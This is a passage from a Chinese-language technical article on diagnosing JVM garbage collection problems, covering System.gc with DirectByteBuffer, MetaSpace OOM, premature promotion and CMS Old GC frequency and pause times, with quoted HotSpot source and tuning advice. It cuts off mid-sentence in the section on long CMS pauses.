-如果禁用掉的话就会带来另外一个内存泄漏问题,此时就需要说一下 DirectByteBuffer,它有着零拷贝等特点,被 Netty 等各种 NIO 框架使用,会使用到堆外内存。堆内存由 JVM 自己管理,堆外内存必须要手动释放,DirectByteBuffer 没有 Finalizer,它的 Native Memory 的清理工作是通过 `sun.misc.Cleaner` 自动完成的,是一种基于 PhantomReference 的清理工具,比普通的 Finalizer 轻量些。 - -为 DirectByteBuffer 分配空间过程中会显式调用 System.gc ,希望通过 Full GC 来强迫已经无用的 DirectByteBuffer 对象释放掉它们关联的 Native Memory,下面为代码实现: - -reserveMemory - -``` -// These methods should be called whenever direct memory is allocated or -// freed. They allow the user to control the amount of direct memory -// which a process may access. All sizes are specified in bytes. -static void reserveMemory(long size) { - - synchronized (Bits.class) { - if (!memoryLimitSet && VM.isBooted()) { - maxMemory = VM.maxDirectMemory(); - memoryLimitSet = true; - } - if (size <= maxMemory - reservedMemory) { - reservedMemory += size; - return; - } - } - - System.gc(); - try { - Thread.sleep(100); - } catch (InterruptedException x) { - // Restore interrupt status - Thread.currentThread().interrupt(); - } - synchronized (Bits.class) { - if (reservedMemory + size > maxMemory) - throw new OutOfMemoryError("Direct buffer memory"); - reservedMemory += size; - } - -} -``` - -HotSpot VM 只会在 Old GC 的时候才会对 Old 中的对象做 Reference Processing,而在 Young GC 时只会对 Young 里的对象做 Reference Processing。Young 中的 DirectByteBuffer 对象会在 Young GC 时被处理,也就是说,做 CMS GC 的话会对 Old 做 Reference Processing,进而能触发 Cleaner 对已死的 DirectByteBuffer 对象做清理工作。但如果很长一段时间里没做过 GC 或者只做了 Young GC 的话则不会在 Old 触发 Cleaner 的工作,那么就可能让本来已经死亡,但已经晋升到 Old 的 DirectByteBuffer 关联的 Native Memory 得不到及时释放。这几个实现特征使得依赖于 System.gc 触发 GC 来保证 DirectByteMemory 的清理工作能及时完成。如果打开了 `-XX:+DisableExplicitGC`,清理工作就可能得不到及时完成,于是就有发生 Direct Memory 的 OOM。 - -#### 4.2.3 策略 - -通过上面的分析看到,无论是保留还是去掉都会有一定的风险点,不过目前互联网中的 RPC 通信会大量使用 NIO,所以笔者在这里建议保留。此外 JVM 还提供了 `-XX:+ExplicitGCInvokesConcurrent`  和 `-XX:+ExplicitGCInvokesConcurrentAndUnloadsClasses`  参数来将 System.gc 的触发类型从 Foreground 改为 Background,同时 Background 也会做 Reference Processing,这样的话就能大幅降低了 STW 开销,同时也不会发生 NIO Direct Memory OOM。 - -#### 4.2.4 小结 - -不止 CMS,在 G1 或 ZGC中开启 `ExplicitGCInvokesConcurrent` 模式,都会采用高性能的并发收集方式进行收集,不过还是建议在代码规范方面也要做好约束,规范好 System.gc 的使用。 - -P.S. HotSpot 对 System.gc 有特别处理,最主要的地方体现在一次 System.gc 是否与普通 GC 一样会触发 GC 的统计/阈值数据的更新,HotSpot 里的许多 GC 算法都带有自适应的功能,会根据先前收集的效率来决定接下来的 GC 中使用的参数,但 System.gc 默认不更新这些统计数据,避免用户强行 GC 对这些自适应功能的干扰(可以参考 -XX:+UseAdaptiveSizePolicyWithSystemGC 参数,默认是 false)。 - -**4.3 场景三:MetaSpace 区 OOM** - -**4.3.1 现象** - -JVM 在启动后或者某个时间点开始,**MetaSpace 的已使用大小在持续增长,同时每次 GC 也无法释放,调大 MetaSpace 空间也无法彻底解决**。 - -**4.3.2 原因** - -在讨论为什么会 OOM 之前,我们先来看一下这个区里面会存什么数据,Java 7 之前字符串常量池被放到了 Perm 区,所有被 intern 的 String 都会被存在这里,由于 String.intern 是不受控的,所以 `-XX:MaxPermSize` 的值也不太好设置,经常会出现 `java.lang.OutOfMemoryError: PermGen space` 异常,所以在 Java 7 之后常量池等字面量(Literal)、类静态变量(Class Static)、符号引用(Symbols Reference)等几项被移到 Heap 中。而 Java 8 之后 PermGen 也被移除,取而代之的是 MetaSpace。 - -在最底层,JVM 通过 mmap 接口向操作系统申请内存映射,每次申请 2MB 空间,这里是虚拟内存映射,不是真的就消耗了主存的 2MB,只有之后在使用的时候才会真的消耗内存。申请的这些内存放到一个链表中 VirtualSpaceList,作为其中的一个 Node。 - -在上层,MetaSpace 主要由 Klass Metaspace 和 NoKlass Metaspace 两大部分组成。 - -* **Klass MetaSpace:**就是用来存 Klass 的,就是 Class 文件在 JVM 里的运行时数据结构,这部分默认放在 Compressed Class Pointer Space 中,是一块连续的内存区域,紧接着 Heap。Compressed Class Pointer Space 不是必须有的,如果设置了 `-XX:-UseCompressedClassPointers`,或者 `-Xmx` 设置大于 32 G,就不会有这块内存,这种情况下 Klass 都会存在 NoKlass Metaspace 里。 - -* **NoKlass MetaSpace:**专门来存 Klass 相关的其他的内容,比如 Method,ConstantPool 等,可以由多块不连续的内存组成。虽然叫做 NoKlass Metaspace,但是也其实可以存 Klass 的内容,上面已经提到了对应场景。 - -具体的定义都可以在源码  shared/vm/memory/metaspace.hpp 中找到: - -MetaSpace - -``` -class Metaspace : public AllStatic { - - friend class MetaspaceShared; - - public: - enum MetadataType { - ClassType, - NonClassType, - MetadataTypeCount - }; - enum MetaspaceType { - ZeroMetaspaceType = 0, - StandardMetaspaceType = ZeroMetaspaceType, - BootMetaspaceType = StandardMetaspaceType + 1, - AnonymousMetaspaceType = BootMetaspaceType + 1, - ReflectionMetaspaceType = AnonymousMetaspaceType + 1, - MetaspaceTypeCount - }; - - private: - - // Align up the word size to the allocation word size - static size_t align_word_size_up(size_t); - - // Aligned size of the metaspace. - static size_t _compressed_class_space_size; - - static size_t compressed_class_space_size() { - return _compressed_class_space_size; - } - - static void set_compressed_class_space_size(size_t size) { - _compressed_class_space_size = size; - } - - static size_t _first_chunk_word_size; - static size_t _first_class_chunk_word_size; - - static size_t _commit_alignment; - static size_t _reserve_alignment; - DEBUG_ONLY(static bool _frozen;) - - // Virtual Space lists for both classes and other metadata - static metaspace::VirtualSpaceList* _space_list; - static metaspace::VirtualSpaceList* _class_space_list; - - static metaspace::ChunkManager* _chunk_manager_metadata; - static metaspace::ChunkManager* _chunk_manager_class; - - static const MetaspaceTracer* _tracer; -} -``` - -MetaSpace 的对象为什么无法释放,我们看下面两点: - -* **MetaSpace 内存管理:**类和其元数据的生命周期与其对应的类加载器相同,只要类的类加载器是存活的,在 Metaspace 中的类元数据也是存活的,不能被回收。每个加载器有单独的存储空间,通过 ClassLoaderMetaspace 来进行管理 SpaceManager* 的指针,相互隔离的。 - -* **MetaSpace 弹性伸缩:**由于 MetaSpace 空间和 Heap 并不在一起,所以这块的空间可以不用设置或者单独设置,一般情况下避免 MetaSpace 耗尽 VM 内存都会设置一个 MaxMetaSpaceSize,在运行过程中,如果实际大小小于这个值,JVM 就会通过 `-XX:MinMetaspaceFreeRatio` 和 `-XX:MaxMetaspaceFreeRatio` 两个参数动态控制整个 MetaSpace 的大小,具体使用可以看 `MetaSpaceGC::compute_new_size()` 方法(下方代码),这个方法会在 CMSCollector 和 G1CollectorHeap 等几个收集器执行 GC 时调用。这个里面会根据 `used_after_gc`,`MinMetaspaceFreeRatio` 和 `MaxMetaspaceFreeRatio` 这三个值计算出来一个新的 `_capacity_until_GC` 值(水位线)。然后根据实际的 `_capacity_until_GC` 值使用 `MetaspaceGC::inc_capacity_until_GC()` 和 `MetaspaceGC::dec_capacity_until_GC()` 进行 expand 或 shrink,这个过程也可以参照场景一中的伸缩模型进行理解。 - -MetaspaceGC::compute_new_size() - -``` -void MetaspaceGC::compute_new_size() { - assert(_shrink_factor <= 100, "invalid shrink factor"); - uint current_shrink_factor = _shrink_factor; - _shrink_factor = 0; - const size_t used_after_gc = MetaspaceUtils::committed_bytes(); - const size_t capacity_until_GC = MetaspaceGC::capacity_until_GC(); - - const double minimum_free_percentage = MinMetaspaceFreeRatio / 100.0; - const double maximum_used_percentage = 1.0 - minimum_free_percentage; - - const double min_tmp = used_after_gc / maximum_used_percentage; - size_t minimum_desired_capacity = - (size_t)MIN2(min_tmp, double(max_uintx)); - // Don't shrink less than the initial generation size - minimum_desired_capacity = MAX2(minimum_desired_capacity, - MetaspaceSize); - - log_trace(gc, metaspace)("MetaspaceGC::compute_new_size: "); - log_trace(gc, metaspace)(" minimum_free_percentage: %6.2f maximum_used_percentage: %6.2f", - minimum_free_percentage, maximum_used_percentage); - log_trace(gc, metaspace)(" used_after_gc : %6.1fKB", used_after_gc / (double) K); - - - size_t shrink_bytes = 0; - if (capacity_until_GC < minimum_desired_capacity) { - // If we have less capacity below the metaspace HWM, then - // increment the HWM. - size_t expand_bytes = minimum_desired_capacity - capacity_until_GC; - expand_bytes = align_up(expand_bytes, Metaspace::commit_alignment()); - // Don't expand unless it's significant - if (expand_bytes >= MinMetaspaceExpansion) { - size_t new_capacity_until_GC = 0; - bool succeeded = MetaspaceGC::inc_capacity_until_GC(expand_bytes, &new_capacity_until_GC); - assert(succeeded, "Should always succesfully increment HWM when at safepoint"); - - Metaspace::tracer()->report_gc_threshold(capacity_until_GC, - new_capacity_until_GC, - MetaspaceGCThresholdUpdater::ComputeNewSize); - log_trace(gc, metaspace)(" expanding: minimum_desired_capacity: %6.1fKB expand_bytes: %6.1fKB MinMetaspaceExpansion: %6.1fKB new metaspace HWM: %6.1fKB", - minimum_desired_capacity / (double) K, - expand_bytes / (double) K, - MinMetaspaceExpansion / (double) K, - new_capacity_until_GC / (double) K); - } - return; - } - - // No expansion, now see if we want to shrink - // We would never want to shrink more than this - assert(capacity_until_GC >= minimum_desired_capacity, - SIZE_FORMAT " >= " SIZE_FORMAT, - capacity_until_GC, minimum_desired_capacity); - size_t max_shrink_bytes = capacity_until_GC - minimum_desired_capacity; - - // Should shrinking be considered? - if (MaxMetaspaceFreeRatio < 100) { - const double maximum_free_percentage = MaxMetaspaceFreeRatio / 100.0; - const double minimum_used_percentage = 1.0 - maximum_free_percentage; - const double max_tmp = used_after_gc / minimum_used_percentage; - size_t maximum_desired_capacity = (size_t)MIN2(max_tmp, double(max_uintx)); - maximum_desired_capacity = MAX2(maximum_desired_capacity, - MetaspaceSize); - log_trace(gc, metaspace)(" maximum_free_percentage: %6.2f minimum_used_percentage: %6.2f", - maximum_free_percentage, minimum_used_percentage); - log_trace(gc, metaspace)(" minimum_desired_capacity: %6.1fKB maximum_desired_capacity: %6.1fKB", - minimum_desired_capacity / (double) K, maximum_desired_capacity / (double) K); - - assert(minimum_desired_capacity <= maximum_desired_capacity, - "sanity check"); - - if (capacity_until_GC > maximum_desired_capacity) { - // Capacity too large, compute shrinking size - shrink_bytes = capacity_until_GC - maximum_desired_capacity; - shrink_bytes = shrink_bytes / 100 * current_shrink_factor; - - shrink_bytes = align_down(shrink_bytes, Metaspace::commit_alignment()); - - assert(shrink_bytes <= max_shrink_bytes, - "invalid shrink size " SIZE_FORMAT " not <= " SIZE_FORMAT, - shrink_bytes, max_shrink_bytes); - if (current_shrink_factor == 0) { - _shrink_factor = 10; - } else { - _shrink_factor = MIN2(current_shrink_factor * 4, (uint) 100); - } - log_trace(gc, metaspace)(" shrinking: initThreshold: %.1fK maximum_desired_capacity: %.1fK", - MetaspaceSize / (double) K, maximum_desired_capacity / (double) K); - log_trace(gc, metaspace)(" shrink_bytes: %.1fK current_shrink_factor: %d new shrink factor: %d MinMetaspaceExpansion: %.1fK", - shrink_bytes / (double) K, current_shrink_factor, _shrink_factor, MinMetaspaceExpansion / (double) K); - } - } - - // Don't shrink unless it's significant - if (shrink_bytes >= MinMetaspaceExpansion && - ((capacity_until_GC - shrink_bytes) >= MetaspaceSize)) { - size_t new_capacity_until_GC = MetaspaceGC::dec_capacity_until_GC(shrink_bytes); - Metaspace::tracer()->report_gc_threshold(capacity_until_GC, - new_capacity_until_GC, - MetaspaceGCThresholdUpdater::ComputeNewSize); - } -} -``` - -由场景一可知,为了避免弹性伸缩带来的额外 GC 消耗,我们会将 `-XX:MetaSpaceSize` 和 `-XX:MaxMetaSpaceSize` 两个值设置为固定的,但是这样也会导致在空间不够的时候无法扩容,然后频繁地触发 GC,最终 OOM。所以关键原因就是 ClassLoader 不停地在内存中 load 了新的 Class ,一般这种问题都发生在动态类加载等情况上。 - -**4.3.3 策略** - -了解大概什么原因后,如何定位和解决就很简单了,可以 dump 快照之后通过 JProfiler 或 MAT 观察 Classes 的 Histogram(直方图) 即可,或者直接通过命令即可定位, jcmd 打几次 Histogram 的图,看一下具体是哪个包下的 Class 增加较多就可以定位了。不过有时候也要结合InstBytes、KlassBytes、Bytecodes、MethodAll 等几项指标综合来看下。如下图便是笔者使用 jcmd 排查到一个 Orika 的问题。 - -``` -jcmd GC.class_stats|awk '{print$13}'|sed 's/\(.*\)\.\(.*\)/\1/g'|sort |uniq -c|sort -nrk1 -``` - -![](https://upload-images.jianshu.io/upload_images/1179389-ccbcb6abec0be074?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -如果无法从整体的角度定位,可以添加 `-XX:+TraceClassLoading` 和 `-XX:+TraceClassUnLoading` 参数观察详细的类加载和卸载信息。 - -**4.3.4 小结** - -原理理解比较复杂,但定位和解决问题会比较简单,经常会出问题的几个点有 Orika 的 classMap、JSON 的 ASMSerializer、Groovy 动态加载类等,基本都集中在反射、Javasisit 字节码增强、CGLIB 动态代理、OSGi 自定义类加载器等的技术点上。另外就是及时给 MetaSpace 区的使用率加一个监控,如果指标有波动提前发现并解决问题。 - -**4.4 场景四:过早晋升 * ** - -**4.4.1 现象** - -这种场景主要发生在分代的收集器上面,专业的术语称为“Premature Promotion”。90% 的对象朝生夕死,只有在 Young 区经历过几次 GC 的洗礼后才会晋升到 Old 区,每经历一次 GC 对象的 GC Age 就会增长 1,最大通过 `-XX:MaxTenuringThreshold` 来控制。 - -过早晋升一般不会直接影响 GC,总会伴随着浮动垃圾、大对象担保失败等问题,但这些问题不是立刻发生的,我们可以观察以下几种现象来判断是否发生了过早晋升。 - -**分配速率接近于晋升速率**,对象晋升年龄较小。 - -GC 日志中出现“Desired survivor size 107347968 bytes, **new threshold 1(max 6)**”等信息,说明此时经历过一次 GC 就会放到 Old 区。 - -**Full GC 比较频繁**,且经历过一次 GC 之后 Old 区的**变化比例非常大**。 - -比如说 Old 区触发的回收阈值是 80%,经历过一次 GC 之后下降到了 10%,这就说明 Old 区的 70% 的对象存活时间其实很短,如下图所示,Old 区大小每次 GC 后从 2.1G 回收到 300M,也就是说回收掉了 1.8G 的垃圾,只有 **300M 的活跃对象**。整个 Heap 目前是 4G,活跃对象只占了不到十分之一。 - -![](https://upload-images.jianshu.io/upload_images/1179389-c54bcc03f90e3453?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -过早晋升的危害: - -* Young GC 频繁,总的吞吐量下降。 - -* Full GC 频繁,可能会有较大停顿。 - -**4.4.2 原因** - -主要的原因有以下两点: - -* **Young/Eden 区过小:**过小的直接后果就是 Eden 被装满的时间变短,本应该回收的对象参与了 GC 并晋升,Young GC 采用的是复制算法,由基础篇我们知道 copying 耗时远大于 mark,也就是 Young GC 耗时本质上就是 copy 的时间(CMS 扫描 Card Table 或 G1 扫描 Remember Set 出问题的情况另说),没来及回收的对象增大了回收的代价,所以 Young GC  时间增加,同时又无法快速释放空间,Young GC 次数也跟着增加。 - -* **分配速率过大:**可以观察出问题前后 Mutator 的分配速率,如果有明显波动可以尝试观察网卡流量、存储类中间件慢查询日志等信息,看是否有大量数据被加载到内存中。 - -同时无法 GC 掉对象还会带来另外一个问题,引发动态年龄计算:JVM 通过 `-XX:MaxTenuringThreshold` 参数来控制晋升年龄,每经过一次 GC,年龄就会加一,达到最大年龄就可以进入 Old 区,最大值为 15(因为 JVM 中使用 4 个比特来表示对象的年龄)。设定固定的 MaxTenuringThreshold 值作为晋升条件: - -* MaxTenuringThreshold 如果设置得过大,原本应该晋升的对象一直停留在 Survivor 区,直到 Survivor 区溢出,一旦溢出发生,Eden + Survivor 中对象将不再依据年龄全部提升到 Old 区,这样对象老化的机制就失效了。 - -* MaxTenuringThreshold 如果设置得过小,过早晋升即对象不能在 Young 区充分被回收,大量短期对象被晋升到 Old 区,Old 区空间迅速增长,引起频繁的 Major GC,分代回收失去了意义,严重影响 GC 性能。 - -相同应用在不同时间的表现不同,特殊任务的执行或者流量成分的变化,都会导致对象的生命周期分布发生波动,那么固定的阈值设定,因为无法动态适应变化,会造成和上面问题,所以 Hotspot 会使用动态计算的方式来调整晋升的阈值。 - -具体动态计算可以看一下 Hotspot 源码,具体在 /src/hotspot/share/gc/shared/ageTable.cpp 的 `compute_tenuring_threshold` 方法中: - -compute_tenuring_threshold - -``` -uint ageTable::compute_tenuring_threshold(size_t survivor_capacity) { - //TargetSurvivorRatio默认50,意思是:在回收之后希望survivor区的占用率达到这个比例 - size_t desired_survivor_size = (size_t)((((double) survivor_capacity)*TargetSurvivorRatio)/100); - size_t total = 0; - uint age = 1; - assert(sizes[0] == 0, "no objects with age zero should be recorded"); - while (age < table_size) {//table_size=16 - total += sizes[age]; - //如果加上这个年龄的所有对象的大小之后,占用量>期望的大小,就设置age为新的晋升阈值 - if (total > desired_survivor_size) break; - age++; - } - - uint result = age < MaxTenuringThreshold ? age : MaxTenuringThreshold; - if (PrintTenuringDistribution || UsePerfData) { - - //打印期望的survivor的大小以及新计算出来的阈值,和设置的最大阈值 - if (PrintTenuringDistribution) { - gclog_or_tty->cr(); - gclog_or_tty->print_cr("Desired survivor size " SIZE_FORMAT " bytes, new threshold %u (max %u)", - desired_survivor_size*oopSize, result, (int) MaxTenuringThreshold); - } - - total = 0; - age = 1; - while (age < table_size) { - total += sizes[age]; - if (sizes[age] > 0) { - if (PrintTenuringDistribution) { - gclog_or_tty->print_cr("- age %3u: " SIZE_FORMAT_W(10) " bytes, " SIZE_FORMAT_W(10) " total", - age, sizes[age]*oopSize, total*oopSize); - } - } - if (UsePerfData) { - _perf_sizes[age]->set_value(sizes[age]*oopSize); - } - age++; - } - if (UsePerfData) { - SharedHeap* sh = SharedHeap::heap(); - CollectorPolicy* policy = sh->collector_policy(); - GCPolicyCounters* gc_counters = policy->counters(); - gc_counters->tenuring_threshold()->set_value(result); - gc_counters->desired_survivor_size()->set_value( - desired_survivor_size*oopSize); - } - } - - return result; -} -``` - -可以看到 Hotspot 遍历所有对象时,从所有年龄为 0 的对象占用的空间开始累加,如果加上年龄等于 n 的所有对象的空间之后,使用 Survivor 区的条件值(TargetSurvivorRatio / 100,TargetSurvivorRatio 默认值为 50)进行判断,若大于这个值则结束循环,将 n 和 MaxTenuringThreshold 比较,若 n 小,则阈值为 n,若 n 大,则只能去设置最大阈值为 MaxTenuringThreshold。**动态年龄触发后导致更多的对象进入了 Old 区,造成资源浪费**。 - -#### 4.4.3 策略 - -知道问题原因后我们就有解决的方向,如果是 **Young/Eden 区过小**,我们可以在总的 Heap 内存不变的情况下适当增大 Young 区,具体怎么增加?一般情况下 Old 的大小应当为活跃对象的 2~3 倍左右,考虑到浮动垃圾问题最好在 3 倍左右,剩下的都可以分给 Young 区。 - -拿笔者的一次典型过早晋升优化来看,原配置为 Young 1.2G + Old 2.8G,通过观察 CMS GC 的情况找到存活对象大概为 300~400M,于是调整 Old 1.5G 左右,剩下 2.5G 分给 Young 区。仅仅调了一个 Young 区大小参数(`-Xmn`),整个 JVM 一分钟 Young GC 从 26 次降低到了 11 次,单次时间也没有增加,总的 GC 时间从 1100ms 降低到了 500ms,CMS GC 次数也从 40 分钟左右一次降低到了 7 小时 30 分钟一次。 - -![](https://upload-images.jianshu.io/upload_images/1179389-275fb3e2ef819510.gif?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -![](https://upload-images.jianshu.io/upload_images/1179389-f35d8959165c9626.gif?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -如果是分配速率过大: - -* **偶发较大**:通过内存分析工具找到问题代码,从业务逻辑上做一些优化。 - -* **一直较大**:当前的 Collector 已经不满足 Mutator 的期望了,这种情况要么扩容 Mutator 的 VM,要么调整 GC 收集器类型或加大空间。 - -**4.4.4 小结** - -过早晋升问题一般不会特别明显,但日积月累之后可能会爆发一波收集器退化之类的问题,所以我们还是要提前避免掉的,可以看看自己系统里面是否有这些现象,如果比较匹配的话,可以尝试优化一下。一行代码优化的 ROI 还是很高的。 - -如果在观察 Old 区前后比例变化的过程中,发现可以回收的比例非常小,如从 80% 只回收到了 60%,说明我们大部分对象都是存活的,Old 区的空间可以适当调大些。 - -**4.4.5 加餐** - -关于在调整 Young 与 Old 的比例时,如何选取具体的 NewRatio 值,这里将问题抽象成为一个蓄水池模型,找到以下关键衡量指标,大家可以根据自己场景进行推算。 - -![](https://upload-images.jianshu.io/upload_images/1179389-d2e906333a2d992a.gif?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -![](https://upload-images.jianshu.io/upload_images/1179389-db3d904f3a8e35c5.gif?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -* NewRatio 的值 r 与 va、vp、vyc、voc、rs 等值存在一定函数相关性(rs 越小 r 越大、r 越小 vp 越小,…,之前尝试使用 NN 来辅助建模,但目前还没有完全算出具体的公式,有想法的同学可以在评论区给出你的答案 )。 - -* 总停顿时间 T  为 Young GC 总时间 Tyc 和 Old GC 总时间 Toc 之和,其中 Tyc 与 vyc 和 vp 相关,Toc 与 voc相关。 - -* 忽略掉 GC 时间后,两次 Young GC 的时间间隔要大于 TP9999 时间,这样尽量让对象在 Eden 区就被回收,可以减少很多停顿。 - -**4.5 场景五:CMS Old GC 频繁 *** - -**4.5.1 现象** - -Old 区频繁的做 CMS GC,但是每次耗时不是特别长,整体最大 STW 也在可接受范围内,但由于 GC 太频繁导致吞吐下降比较多。 - -**4.5.2 原因** - -这种情况比较常见,基本都是一次 Young GC 完成后,负责处理 CMS GC 的一个后台线程 concurrentMarkSweepThread 会不断地轮询,使用 `shouldConcurrentCollect()` 方法做一次检测,判断是否达到了回收条件。如果达到条件,使用 `collect_in_background()` 启动一次 Background 模式 GC。轮询的判断是使用 `sleepBeforeNextCycle()` 方法,间隔周期为 `-XX:CMSWaitDuration` 决定,默认为2s。 - -具体代码在:src/hotspot/share/gc/cms/concurrentMarkSweepThread.cpp。 - -run_service() - -``` -void ConcurrentMarkSweepThread::run_service() { - assert(this == cmst(), "just checking"); - - if (BindCMSThreadToCPU && !os::bind_to_processor(CPUForCMSThread)) { - log_warning(gc)("Couldn't bind CMS thread to processor " UINTX_FORMAT, CPUForCMSThread); - } - - while (!should_terminate()) { - sleepBeforeNextCycle(); - if (should_terminate()) break; - GCIdMark gc_id_mark; - GCCause::Cause cause = _collector->_full_gc_requested ? - _collector->_full_gc_cause : GCCause::_cms_concurrent_mark; - _collector->collect_in_background(cause); - } - verify_ok_to_terminate(); -} - -``` - -sleepBeforeNextCycle() - -``` -void ConcurrentMarkSweepThread::sleepBeforeNextCycle() { - while (!should_terminate()) { - if(CMSWaitDuration >= 0) { - // Wait until the next synchronous GC, a concurrent full gc - // request or a timeout, whichever is earlier. - wait_on_cms_lock_for_scavenge(CMSWaitDuration); - } else { - // Wait until any cms_lock event or check interval not to call shouldConcurrentCollect permanently - wait_on_cms_lock(CMSCheckInterval); - } - // Check if we should start a CMS collection cycle - if (_collector->shouldConcurrentCollect()) { - return; - } - // .. collection criterion not yet met, let's go back - // and wait some more - } -} -``` - -判断是否进行回收的代码在:/src/hotspot/share/gc/cms/concurrentMarkSweepGeneration.cpp。 - -shouldConcurrentCollect() - -``` -bool CMSCollector::shouldConcurrentCollect() { - LogTarget(Trace, gc) log; - - if (_full_gc_requested) { - log.print("CMSCollector: collect because of explicit gc request (or GCLocker)"); - return true; - } - - FreelistLocker x(this); - // ------------------------------------------------------------------ - // Print out lots of information which affects the initiation of - // a collection. - if (log.is_enabled() && stats().valid()) { - log.print("CMSCollector shouldConcurrentCollect: "); - - LogStream out(log); - stats().print_on(&out); - - log.print("time_until_cms_gen_full %3.7f", stats().time_until_cms_gen_full()); - log.print("free=" SIZE_FORMAT, _cmsGen->free()); - log.print("contiguous_available=" SIZE_FORMAT, _cmsGen->contiguous_available()); - log.print("promotion_rate=%g", stats().promotion_rate()); - log.print("cms_allocation_rate=%g", stats().cms_allocation_rate()); - log.print("occupancy=%3.7f", _cmsGen->occupancy()); - log.print("initiatingOccupancy=%3.7f", _cmsGen->initiating_occupancy()); - log.print("cms_time_since_begin=%3.7f", stats().cms_time_since_begin()); - log.print("cms_time_since_end=%3.7f", stats().cms_time_since_end()); - log.print("metadata initialized %d", MetaspaceGC::should_concurrent_collect()); - } - // ------------------------------------------------------------------ - if (!UseCMSInitiatingOccupancyOnly) { - if (stats().valid()) { - if (stats().time_until_cms_start() == 0.0) { - return true; - } - } else { - - if (_cmsGen->occupancy() >= _bootstrap_occupancy) { - log.print(" CMSCollector: collect for bootstrapping statistics: occupancy = %f, boot occupancy = %f", - _cmsGen->occupancy(), _bootstrap_occupancy); - return true; - } - } - } - - if (_cmsGen->should_concurrent_collect()) { - log.print("CMS old gen initiated"); - return true; - } - - // We start a collection if we believe an incremental collection may fail; - // this is not likely to be productive in practice because it's probably too - // late anyway. - CMSHeap* heap = CMSHeap::heap(); - if (heap->incremental_collection_will_fail(true /* consult_young */)) { - log.print("CMSCollector: collect because incremental collection will fail "); - return true; - } - - if (MetaspaceGC::should_concurrent_collect()) { - log.print("CMSCollector: collect for metadata allocation "); - return true; - } - - // CMSTriggerInterval starts a CMS cycle if enough time has passed. - if (CMSTriggerInterval >= 0) { - if (CMSTriggerInterval == 0) { - // Trigger always - return true; - } - - // Check the CMS time since begin (we do not check the stats validity - // as we want to be able to trigger the first CMS cycle as well) - if (stats().cms_time_since_begin() >= (CMSTriggerInterval / ((double) MILLIUNITS))) { - if (stats().valid()) { - log.print("CMSCollector: collect because of trigger interval (time since last begin %3.7f secs)", - stats().cms_time_since_begin()); - } else { - log.print("CMSCollector: collect because of trigger interval (first collection)"); - } - return true; - } - } - - return false; -} -``` - -分析其中逻辑判断是否触发 GC,分为以下几种情况: - -* **触发 CMS GC:**通过调用 `_collector->collect_in_background()` 进行触发 Background GC 。 - -* CMS 默认采用 JVM 运行时的统计数据判断是否需要触发 CMS GC,如果需要根据 `-XX:CMSInitiatingOccupancyFraction` 的值进行判断,需要设置参数 `-XX:+UseCMSInitiatingOccupancyOnly`。 - -* 如果开启了 `-XX:UseCMSInitiatingOccupancyOnly` 参数,判断当前 Old 区使用率是否大于阈值,则触发 CMS GC,该阈值可以通过参数 `-XX:CMSInitiatingOccupancyFraction` 进行设置,如果没有设置,默认为 92%。 - -* 如果之前的 Young GC 失败过,或者下次 Young 区执行 Young GC 可能失败,这两种情况下都需要触发 CMS GC。 - -* CMS 默认不会对 MetaSpace 或 Perm 进行垃圾收集,如果希望对这些区域进行垃圾收集,需要设置参数 `-XX:+CMSClassUnloadingEnabled`。 - -* **触发 Full GC:**直接进行 Full GC,这种情况到场景七中展开说明。 - -* 如果 `_full_gc_requested` 为真,说明有明确的需求要进行 GC,比如调用 System.gc。 - -* 在 Eden 区为对象或 TLAB 分配内存失败,导致一次 Young GC,在 `GenCollectorPolicy` 类的 `satisfy_failed_allocation()` 方法中进行判断。 - -大家可以看一下源码中的日志打印,通过日志我们就可以比较清楚地知道具体的原因,然后就可以着手分析了。 - -**4.5.3 策略** - -我们这里还是拿最常见的达到回收比例这个场景来说,与过早晋升不同的是这些对象确实存活了一段时间,Survival Time 超过了 TP9999 时间,但是又达不到长期存活,如各种数据库、网络链接,带有失效时间的缓存等。 - -处理这种常规内存泄漏问题基本是一个思路,主要步骤如下: - -![](https://upload-images.jianshu.io/upload_images/1179389-8d4ff8c462410a8b?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -Dump Diff 和 Leak Suspects 比较直观就不介绍了,这里说下其它几个关键点: - -* **内存 Dump:**使用 jmap、arthas 等 dump 堆进行快照时记得摘掉流量,同时**分别在 CMS GC 的发生前后分别 dump 一次**。 - -* **分析 Top Component:**要记得按照对象、类、类加载器、包等多个维度观察 Histogram,同时使用 outgoing 和 incoming 分析关联的对象,另外就是 Soft Reference 和 Weak Reference、Finalizer 等也要看一下。 - -* **分析 Unreachable:**重点看一下这个,关注下 Shallow 和 Retained 的大小。如下图所示,笔者之前一次 GC 优化,就根据 Unreachable Objects 发现了 Hystrix 的滑动窗口问题。 - -![](https://upload-images.jianshu.io/upload_images/1179389-887b79c6e849022f?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**4.5.4 小结** - -经过整个流程下来基本就能定位问题了,不过在优化的过程中记得使用**控制变量**的方法来优化,防止一些会加剧问题的改动被掩盖。 - -**4.6 场景六:单次 CMS Old GC 耗时长 *** - -**4.6.1 现象** - -CMS GC 单次 STW 最大超过 1000ms,不会频繁发生,如下图所示最长达到了 8000ms。某些场景下会引起“雪崩效应”,这种场景非常危险,我们应该尽量避免出现。 - -![](https://upload-images.jianshu.io/upload_images/1179389-9be8760d24bfa6bd?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) - -**4.6.2 原因** - -CMS 在回收的过程中,STW 的阶段主要是 Init Mark 和 Final Remark 这两个阶段,也是导致 CMS Old GC 最多的原因,另外有些情况就是在 STW 前等待 Mutator 的线程到达 SafePoint 也会导致时间过长,但这种情况较少,我们在此处主要讨论前者。发生收集器退化或者碎片压缩的场景请看场景七。 - -想要知道这两个阶段为什么会耗时,我们需要先看一下这两个阶段都会干什么。 - -核心代码都在 /src/hotspot/share/gc/cms/concurrentMarkSweepGeneration.cpp 中,内部有个线程 ConcurrentMarkSweepThread 轮询来校验,Old 区的垃圾回收相关细节被完全封装在 `CMSCollector` 中,调用入口就是 ConcurrentMarkSweepThread 调用的 `CMSCollector::collect_in_background` 和 `ConcurrentMarkSweepGeneration` 调用的 `CMSCollector::collect` 方法,此处我们讨论大多数场景的 `collect_in_background`。整个过程中会 STW 的主要是 initial Mark 和 